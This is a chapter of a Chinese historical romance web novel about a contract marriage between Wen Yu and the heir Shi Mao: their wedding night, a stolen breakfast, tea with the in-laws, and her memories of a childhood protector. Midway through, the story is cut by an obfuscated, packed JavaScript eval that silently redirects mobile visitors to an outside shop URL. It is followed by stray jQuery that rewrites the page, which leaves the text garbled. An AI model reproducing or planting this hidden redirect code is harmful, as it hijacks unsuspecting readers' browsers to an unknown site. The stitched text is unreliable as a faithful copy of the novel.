此情此景竟诡异得似曾相识。
时茂的喉结几不可查地滚动一瞬，一低头，看到了她的发顶。
凤冠所缀的东珠随细微的动作轻摇，烛光打下，温妤纤长的睫毛投出两小片扇形的阴影。
“那也不能……”他的声音有些沙哑，顿了顿，似乎小心翼翼地认真询问，“能吗？”
“嗯？什么？”
她抬起头，眨了眨眼，神情困惑。
方才那句话说得又轻又快，温妤恰好没听清。
她已将外袍褪至手肘，顺势扬到一旁，衣袍翩然滑落于床尾的春凳之上。
“……没。”
时茂仓促别开脸，弯腰拾起床尾外袍挂上屏风，背对着她站了片刻，脸上红晕终于消散。
终究不能强人所难。
她今日折腾一整天，头顶着几斤重的凤冠走完整套繁文缛节，连吃两碗热面才缓过来气力。
再者，这场婚姻说到底不过是一桩各取所需的契约，说定了事成后便结束这一切。
他不能趁人之危。
时茂移步屏风后更换寝衣。
再出来时，温妤已然褪去外袍、卸去妆容，只着单薄中衣，三千青丝披散如瀑。
“换个衣服怎需这么久？”她歪头。
“无妨……是我喝多了。”他目光躲闪。
时茂摇摇晃晃行至床沿，两人都穿着大红寝衣，此刻相对而立，像是一对被摆错了地方的瓷俑。
温妤目光不自觉被勾到对方身上。
单薄寝衣将肩背勾勒出平直的线条，自肩颈一路收束紧实劲窄的腰线，不见半分多余赘肉。
衣料绷着肌理，隐约透出臂膀的肌肉轮廓，下肢修长，骨架宽硕却不显臃肿，打眼一瞧便知常年习武腰腹劲挺。
记忆倏然漫上几分隐晦，忆往昔峥嵘岁月——她居然感受过这片温热硬实的肌理。
寝衣之下，他宽厚的胸膛随呼吸轻轻起伏，结实的轮廓若隐若现，与记忆里温热的触感不断重叠。
视线落下又慌忙移开，时茂将她这番局促尽收眼底，唇边漾开一抹狡黠的笑意。
缓缓上前一步，高大的身影将她笼罩：
“还没看够？”
这回轮到温妤不好意思了，嘴硬反驳：
“谁看你了……睡、睡觉。”
“白给你看了。”
世子大人语气似乎很遗憾。
相敬如宾地互相谦让一阵，两人各自从床两侧卧入被窝。
龙凤花烛燃得正旺，暖红的火光透过百子千孙帐，亘古于两人之间。锦被大而松软，中间空隙宽得能再躺下一个人。
温妤侧身面朝墙壁，将自己的身子蜷作一团，缩在床角。烛光映出一团晃动的红影，暖烘烘的橙色光晕压在眼皮上。
“烛火太亮了……”
她将被子往上拉一拉，蒙住半张脸，只露出一双眼睛。
时茂解释道：“龙凤花烛需燃到天亮，此乃规矩。”
那团红影还在墙上晃，温妤眸光涣散地望着那块光斑，眨了眨眼。
翻了个身，又翻了回来。
辗转反侧间，被子窸窸窣窣响了一阵。
然后时茂听到被子缝里漏出一道闷闷的声音：“我睡不着。”
时茂无奈叹气。
他长臂一抬，指腹精准掐住灯芯一捻，烛火熄灭。
满室的烛光骤然退潮，只剩窗棂外探入一线月光，清清冷冷地铺在地上，烛泪在月光下凝固，宛如真人残泪。
时茂重新躺回原处，一时五味杂陈。
她果然不在乎这段婚姻。
不在乎龙凤花烛是否燃到天亮，不在乎合卺礼数是否周全，也不在乎洞房夜是否依照规矩。
方才替他解外袍，大概只是嬷嬷的教导吧。教导她什么，她便做什么。
她大概巴不得今夜快点过去，巴不得这婚约尽早结束，放她离开。
时茂静盯帐顶百子图，黑暗中干瞪着眼躺了许久，直到身旁传来均匀而绵长的呼吸声，才敢悄悄偏过头去看身侧之人的睡颜。
月光似乎对她格外温柔，轻笼温妤面颊。她蜷在床角，睫毛安静贴在眼睑下方。小小的一团，如同在一隅安窝的猫儿。
他将被子向那边拢了拢，旋即翻了个身，与她背对，阖上眼眸。
世界归入一片静谧的黑暗。
国公府的床甚是舒服，温妤一夜好眠。
晨光熹微之际睁眼，腹中空空。
按照规矩，新妇晨起要先去祠堂拜祖宗，再去正院给公婆敬茶，礼毕后方能用第一顿正经早膳。
温妤饿得前胸贴后背，一躺躺不住，干脆轻手轻脚掀开被子，从时茂脚边下床。
趿鞋踏上冰凉地面，拢了件外衫便从侧门溜出。院中晨雾未散，松针挂满露珠，路面濡湿。
沿着曲折的回廊穿行，真叫她摸到了灶房的位置。
府里的下人显然都得了吩咐，世子夫人入府头一日，谁也不敢大清早探头探脑，因此温妤侥幸地避开了人眼。
灶房木门虚掩，膛内余火未熄，映得灶口一圈暗红。
温妤吸吸鼻子，小心摸索到橱柜前，拉开柜门方见橱中搁着半碟酱牛肉、两只早上新蒸的白面馒头，以及一块用油纸包着的芝麻烧饼。
稍微一垫肚子，院外突然传来婆子谈话的声响。温妤忙咽下最后半块烧饼，一抹嘴，蹑手蹑脚溜出灶房，推开侧门闪身离去。
轻手轻脚地爬回床榻，随手将外衫向床尾一抛，扯过被褥裹得严严实实。
温妤闭上眼睛。
心跳尚未平复，身侧之人忽然一动。
时茂翻身过来，手臂穿过被褥，轻轻搭在她的腰侧。
下一瞬，他撑起身子缓缓向温妤凑近。
温妤内心惴惴，紧闭双眼，只觉得他的脸靠得越来越近，越来越近。
怦怦——
心脏几乎要跳出胸膛。
温热的呼吸喷洒颊侧，散落几绺碎发轻扫她的脖颈，惹得一阵细碎痒意。
温妤暗自忖度：此人若敢趁她昏睡行不轨之事，绝非正人君子！
这样想着，却突然听见耳畔的唇瓣吐了两个字：“芝麻。”
温妤下意识上扯被角：“我没去厨房。”
时茂心底漾起几分笑意，从她发间拈下一粒极小的白点，举到她眼前晃了晃。
还真是一粒小巧的芝麻。
“不是我——”
温妤急得睁开眼，猝不及防撞入一双覆着薄雾的眼眸。
长长的睫毛在他的眼睑下覆出一片浅淡的阴影，将往日锐利的眉眼浸润得柔和。高鼻梁被光晕衬得愈发立体，下颌线条却松弛下来，多了几分清隽温润。
几缕墨色发丝垂在他的额前，随着绵长的呼吸轻轻晃动。眉眼带着刚睡醒才有的朦胧慵懒，在晨光里显得干净又好看。
温妤呆滞了一下，下意识吞口水。
时茂倒也不咄咄逼人，看着被她钻入时无意拨乱的帐幔，嘴角弯了弯。
“来人，伺候夫人梳洗。”
训练有素的内院仆妇似是被捅了窝出巢的鸟儿，整装待发脚步飞快，举着衣裳碗盆扑簌簌赶了过来。
“灶上今早新蒸了牛乳糕，待敬茶完毕便可享用。”他语调不紧不慢，似乎在压制笑意，“你再忍忍。”
床帐由丫鬟自两侧徐徐拉开，另有两丫鬟捧着脸盆与手巾，无声地候在外头。另有一专司更衣的仆妇捧着一叠熏过香的中衣，垂手立于屏风后。
温妤坐起身，赤足踩在床前的脚踏上。脚踏是整块紫檀雕的，上头铺了一层极薄的羊绒毡。
侍女跪在脚踏旁，侍奉温妤穿鞋。
从前的十六年里，何曾有过起床跟干仗一样大动干戈的时候？
“不必……”
话甫一脱口，想到阖府只有自己格格不入，又咽回腹中。
她告诫自己，要融入国公府，扮演好世子夫人。
时茂从来都是被人金尊玉贵地伺候，对此习以为常。这套流程对温妤而言颇为生疏，只能跟在他屁股后面，他做什么，她便学什么。
只要照葫芦画瓢展开双臂，仆妇便将中衣自后往前披上她的肩，手指灵巧地绕过腰间系带。中衣、衬裙、外裙、外衫，一层一层，井然有序。
侍女跪地奉上精心调好水温的铜盆。温妤浸润半干的手巾擦脸，又用青盐与柳枝漱口。
柳枝已被提前松软了毛，整整齐齐码在瓷托上，只管让主人拿起来用。用完的柳枝随手搁在瓷托边沿，下一瞬便有丫鬟收走。
一番晨起礼节总算应付完毕，二人拜谒先祖，而后动身前往荣恩堂。荣恩堂坐落于国公府中轴线的正北面，门楣上悬着一块乌木匾额，上书“荣恩堂”三个金字，笔力遒劲，据说是圣祖皇帝的御笔亲题。
温妤跨越门槛。堂内陈设极简，除了正中一副国公戎装画像挂在中堂，两侧仅各置一把花梨木太师椅，椅上铺着半旧的暗红弹墨椅袱，坐着国公与国公夫人。
堂下还有一人，正是时茂的妹妹时莘。
右首国公爷一身御赐紫蟒朝服，须发灰白大半，面容清癯，眉骨轮廓与时茂如出一辙。
由于常年戍边，他的肤色比京中养尊处优的公卿要粗粝硬朗，此番长子成亲才归来一回，因此神色格外严穆。
左首端坐国公夫人，也就是温妤的婆母，裴敏。她四十来岁，一身鸦青暗纹衣裙，面容清瘦，唇角微微下抿，目光沉静锐利。
温妤依照嬷嬷教导，端起茶盏，屈膝跪地，上奉新妇新茶。
国公夫人浅啜一口，将茶盏搁于红木茶盘上，并未让温妤起身。温妤便仍旧跪地垂眼，双手交叠在膝前，本本份份。
“茂儿。”国公爷道，“为父明日便要往返，有几句话说与你听。”
时茂垂首，脊背绷得笔直：“请父亲训示。”
国公爷：“如今既已成家，往后行事便不能再像从前那般单凭一腔孤勇。宁远国公府如今的根基，是历代先祖用性命攒下的。家中的待妻之道，朝堂的分忧之举，桩桩件件皆有无数耳目盯着，不可有半分懈怠。”
他微微一顿，目光扫过温妤。
“姻缘天定，既然是御赐的婚姻，纪氏便是时家名正言顺的宗妇。宗妇享尊荣，更要替全族担重任。你敬她，府里便敬她；你轻慢她，府里便轻慢她。”
他转向温妤：“纪氏，你婆婆年岁渐长，家中庶务你需多分担。你小姑还未出阁，身为长嫂，教导照料亦是你的本分。家事闭门解决，在外行事，断不可丢国公府的脸。”
温妤伏身答道：“儿媳谨记教诲，日后定持家勤勉，不敢有半分懈怠。”
国公夫人接话道：“你既嫁进来了，往后便是国公府的人，门第规矩非往日小门小户可比。能得我儿青睐高嫁，是你的造化，往后谨守妇德，克己守礼，更不可肆意妄为。莫要让人说国公府娶了个不知轻重的媳妇。”
“儿媳明白。”温妤只管作答。
时莘端坐一侧，拘谨肃穆一言不发。温妤心生疑窦：这还是她认识的时莘么？
为何进了这门就跟进了丛林一般，一家四口像是四根扎在地下结结实实的木头，了无生机。
自己更是被押进了这满堂的木头人中间，大气都不敢喘。
她跪在蒲团上，暗自腹诽：往后少言寡语多安分守己，当好她的世子夫人，熬过这几年便罢。
她正心怀几分庆幸，国公夫人却突然凉凉道：“纪氏，你可知今早，何人前往灶房偷饭吃？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625129|205792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>温妤心头一滞，指节不自觉攥紧袖口。
国公夫人目光冰冷，静静地等待回话。
“回婆母的话，”温妤硬着头皮起身，不动声色站离时茂两步，一本正经地指认，“儿媳晨起，只见到夫君自外习武而归……”
她话没有说全，锅已经甩到刚嫁了一天的夫君头顶。
时茂满脸诧异，抬眸见温妤的眼皮正疯狂暗示，为维护这段婚姻的良好开端，他无奈承认道：“是儿子一早饿了，私自去灶房芝麻饼垫肚子。”
国公爷登时呵斥：“堂堂国公府嫡子，天刚亮便钻到厨房偷嘴，成什么样子？锦衣玉食摆在正厅，偏要藏在灶下偷吃，传出去旁人该当我国公府教出个不知礼数的顽童！”
时茂认错很快，拱手敛身一气呵成：“儿子行事鲁莽，失了规矩仪态，实在该打。”
“罢了，”国公夫人在旁开解，“你从前心性不定，百般推脱不肯成婚，我与你父亲险些气坏身子。如今好不容易肯成家，也算遂了多年心愿。”
温妤有预感接下来的话。
“成家之后，当以绵延宗祧为重。你二人同心和睦，早日诞下嫡脉，方能了却另一桩心事。”
果然是逃不过的催生子嗣。
夫妻二人纷纷点头称是，照单全应。
国公夫人垂眸捻着茶盏，目光看似温和，心中却暗自思忖。
儿媳表面倒是安分乖顺，敬茶行礼进退有度，只是眉眼深处却藏着几分狡黠，绝非柔顺纯良。
想来也是，能高嫁入国公府，怎会真的怯懦柔软好拿捏？
温妤无暇揣摩国公夫人心思，摘下头上一枚赤金累丝嵌东珠步摇，缓步走到时莘面前：“初次相见，这是嫂嫂的一点薄礼，还望小姑喜欢。”
时莘面露错愕。
初次相见？这嫂子是傻了吗？
然而她面上不显，规矩收礼道谢。
细看这支步摇，金丝雕琢得细密精巧，顶端缀着三颗圆润饱满的东珠，颗颗莹白透亮。旁侧还点缀着细碎的红宝石，华贵却不张扬，是极贵重又合少女心意的首饰，像是精挑细选留下的。
“你倒是惯会收买人心。”
出了荣恩堂，时茂双臂环胸走在温妤身旁，语调打趣。
“谬赞，”温妤淡淡一笑，“这步摇是用你送去的聘礼打的。”
“……”时茂腹诽，她倒是会借花献佛。
谈话间，时莘宛如刚出栏的小鸟，疾风般自他们身旁飞奔而过，发顶的步摇一晃两晃，几乎旋转飞天。
温妤看着少女离去的背影，一时怔住：“她真是方才荣恩堂的木头人吗？”
“时莘本就跳脱，”时茂无奈道，“不过在长辈面前收敛本性，装出淑女模样，在外都是这幅模样。”
温妤低低感叹：“真羡慕她。”
“羡慕？”时茂一顿，讲出一句与昨夜一模一样的话，“在国公府委屈你了。”
两人已并肩踏入自己院子，潺潺活水流向隔壁，院中松柏巍峨，铺晒的药草收尽。
自从温妤游过，随从朔阳长了个心眼。
既生怕哪一日有刺客效法，伤着世子，又怕哪日温妤姑娘心血来潮游进来被堵，因此特地将水渠内设了道活框门，这差事可不好办。
“养尊处优，并无委屈。”温妤摇摇头，“我会做好世子夫人，只是你娶我，一定不只搪塞长辈吧？”
时茂沉默不语，算是默认。
温妤没再追问，踢着脚下小石子，仰头眺望枝头的松鼠发呆。
“需要我帮你查什么？”时茂问道，“说好要互助。”
温妤想了想，没跟他客气：“陆家。”
“陆家？吴郡陆氏？”
“对。”
时茂神情微变。
温妤并未留意异样，她道出前因后果。
温妤在时，陆家一共三房。
老爷下狱受刑自尽，老夫人年事已高。
大房是陆默当家，早年间不见人影，据纪清澜所说，他应当是随温妤生母离去，如今生死未卜。
二房乃温妤寄身为婢之所。陆老夫人不喜欢她，将她丢去二房陆夫人处受苦，只有陆公子会私下照拂她。
提起陆公子，温妤眼眸泛起微光，话也多了起来。
“陆公子名唤陆少渊，年岁虽轻却才华横溢，我如今识得几个字，便都拜他所教。陆家一朝败落，但后生有望重振，老夫人一定知道这一点，陆少渊断然不会放弃读书。”温妤认真道，“若是顺着陆家老宅寻访各个书院，定能找到他的踪迹。”
“你找到陆少渊做什么？”时茂坐在石凳上，盯了温妤好一会儿，“你要嫁给他吗？”
嫁给他？
温妤望着被北风扑簌簌吹起的落叶，思绪坠入凉薄的寒冬腊月。
那是多少年前，小小的温妤高热缠身，被驱赶至柴房劈柴。
她蜷在柴房冰冷的稻草堆，小脸埋入臂弯，小声哭喊：“娘亲……我要娘……”
十岁出头的陆少渊怀抱书卷，轻手轻脚走近，蹲下身轻抚她的后背：“娘亲不在，我在，我陪着你。”
他认真道：“以后你想娘亲了，就来找我，我哄你。”
陆少渊将身上的锦缎小袄脱下，裹住单薄的小温妤。少年不算宽厚的肩膀，成了她幼时唯一的依靠。
他故意冻了一夜，以致风寒流涕。医官为他开药，他便将煎好的药汁端来，一口一口喂给她。
温妤凭着汤药熬过了高烧，也熬过了她记忆中最寒冷、却也是最温暖的冬天。
眼前的小院变得模糊，她捱下呼之欲出的泪水，使劲吸了吸鼻子。
“嗯，”她擦去眼泪，鼻音有些重，缓缓勾起一抹笑，“他说，让我嫁给他。”
……